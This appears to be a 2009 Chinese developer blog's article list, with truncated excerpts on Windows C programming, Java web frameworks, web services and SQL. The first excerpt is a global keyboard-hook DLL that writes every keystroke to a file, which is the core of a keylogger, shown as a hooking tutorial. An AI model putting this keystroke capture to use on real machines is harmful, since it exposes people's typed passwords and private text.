- 浏览: 51016 次
- 性别:
- 来自: 成都
最新评论
-
zeyonq:
原来就是这种龟毛问题困了我一宵。多谢指点。
关于Eclipse“The selection is not within a valid module”的异常 -
cloud21:
为什么我照着写,写不进去,键盘 信息,只有一个退出信息。。
...
C实现Windows全局钩子
文章列表
KbHook.dll 源代码
#include <windows.h>
#include <stdio.h>
HHOOK g_hkeyboard=NULL;
FILE *fp=NULL;
// 键盘钩子过程
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) {
// 将键盘值写入文件中
fwrite(&wParam, sizeof(char), 1, fp);
fflush(fp);
// 把信息传递给下一个钩子过程
return ...
- 2009-11-05 17:44
- 浏览 2445
- 评论(1)
1、发常梳:将手掌互搓36下,令掌心发热,然后由前额开始扫上去,经后脑扫回颈部。早晚各做10次。头部有很多重要的穴位,经常做这动作,可以明目袪风、防止头痛、耳鸣、白发和脱发。
2、目常运:(1)合眼,然后用力 ...
- 2009-10-31 22:10
- 浏览 689
- 评论(0)
#include <stdio.h>
#include <windows.h>
DWORD WINAPI FunProc(LPVOID lpParameter);
int main() {
HANDLE hThread1;
hThread1 = CreateThread(NULL, 0, FunProc, NULL, 0, NULL);
CloseHandle(hThread1);
printf("main thread is running...\r\n");
getchar();
}
// 线程入口函数 ...
- 2009-10-31 19:07
- 浏览 925
- 评论(0)
服务器端:
#include <stdio.h>
#include <Winsock2.h>
int main() {
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(1,1);
err = WSAStartup(wVersionRequested, &wsaData);
if(err != 0) {
return;
}
if(LOBYTE(wsaData.wVersion) != 1 || HI ...
- 2009-10-31 17:07
- 浏览 1069
- 评论(0)
#include <stdio.h>
#include <malloc.h>
int main() {
FILE *fp;
char *content;
// 以只读方式打开文件
if((fp = fopen("D:\\test.txt", "r")) == NULL) {
printf("\r读取文件D:\\test.txt时发生异常");
return -1;
}
// 将文件指针移至文件末尾
fseek(fp, 0, SEEK_END);
/ ...
- 2009-10-31 12:10
- 浏览 2486
- 评论(0)
创建一个新的键,路径为HKEY_LOCAL_MACHINE\Software\http://www.cqit.edu.cn\admin。
并添加两个值,一个值的名称为sex,值的数据为male;另一个值的名称为age,值的数据为30。
HKEY hkey;
LPCWSTR keyItem = TEXT("Software\\http://www.cqit.edu.cn\\admin");
LPCWSTR valueName = TEXT("sex");
LPCWSTR valueData = TEXT("male");
...
- 2009-10-31 11:43
- 浏览 1077
- 评论(0)
JPetStore-5.0程序中不一样的struts
关键字: struts
平常我们使用struts会定义form,写Action,设置struts-config.xml文件,然后页面的数据是以form对象传给Action,然后调用Service层,完成业务,再返回struts-config.xml配置的页面。
而JPetStore-5.0的struts不同,例如:
页面是这样的
<html:form method="post" action="/shop/editAccount.shtml">
<html:hi ...
- 2009-10-27 20:00
- 浏览 950
- 评论(0)
首先,我们看一下Applet的父级容器。如下:
|--> plugin.viewer.frame.IExplorerEmbeddedFrame
|
|--> plugin.AppletViewer
|
|--> javax.swing.JApplet
JDialog的父窗口只能是Frame或者Dialog。而Applet只是Panel的子类。因此,在Applet中,不能用new Dialog(applet, true)来创建一个模式对话框。只能通过获取Applet的上级Frame容器,才能成功创建。
/**
...
- 2009-10-22 14:58
- 浏览 1243
- 评论(0)
文档结构
lib文件夹
struts.xml
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="tutorial" extends="struts-default">
...
- 2009-09-24 22:49
- 浏览 1014
- 评论(0)
/**
* 备份数据库.
*/
public int dataBack(String sqldir,String dbname,String dbpwd,String filename,String filedir){
int flag2=0;
try{
String batdir=System.getProperty("user.dir")+"\\DataBack.bat";
log.info("bat file path=========>"+batdir);
Process ...
- 2009-09-19 11:41
- 浏览 1156
- 评论(0)
Compnay类
package ioc.demo;
public class Company {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
Spring的applicationContext.xml:
<?xml version="1.0" encoding="UTF-8"?>
<beans ...
- 2009-08-24 23:23
- 浏览 912
- 评论(0)
用Eclipse开发webservice确实很方便,无论是服务器端还是客户端。
1、服务器端运行web service时,只需要server-config.wsdd和class文件即可。
2、开发web service客户端时,只需要wdsl文件即可。甚至该service所使用的参数类和返回值的类,Eclipse也可以自动生成。
PS:《轻快的Java》(Better,Faster,Lighter Java)一书中,作者对日益复杂的Web Service作了足够多的批评。但是有了Eclipse的帮助,我们可以节省不少的功夫。只需要大概2分钟,我们就可以开发并运行一个Web Service版的 ...
- 2009-08-23 17:16
- 浏览 1219
- 评论(0)
try {
// 服务端的url,需要根据情况更改。
Service service = new Service();
Call call = (Call) service.createCall();
call.setTargetEndpointAddress(new java.net.URL(" http://172.16.51.137:9097/services/MMISToeSRMWebService?wsdl"));
/ tp://134.160.64.11:9061/services/ ...
- 2009-08-17 17:04
- 浏览 1316
- 评论(0)
在工程目录下的.settings文件夹里,有个名为org.eclipse.wst.common.component的文件。这个文件里的deploy-name,一定要跟工程名一样,否则就会报错。
--------------------------------------------------------------------------------
This may be related to:
https://bugs.eclipse.org/bugs/show_bug.cgi?id=154833
See Comment #3. Still on my to-do list is ...
- 2009-08-03 20:28
- 浏览 4755
- 评论(1)
原始表格Test_Table
第一次查询:
SELECT Material,
(case when type='TA1' then num else 0 end) as TA1,
(case when type='TA2' then num else 0 end) as TA2,
(case when type='TA3' then num else 0 end) as TA3,
(case when type='TA4' then num else 0 end) as TA4,
(case when ty ...
- 2009-02-11 10:11
- 浏览 915
- 评论(0)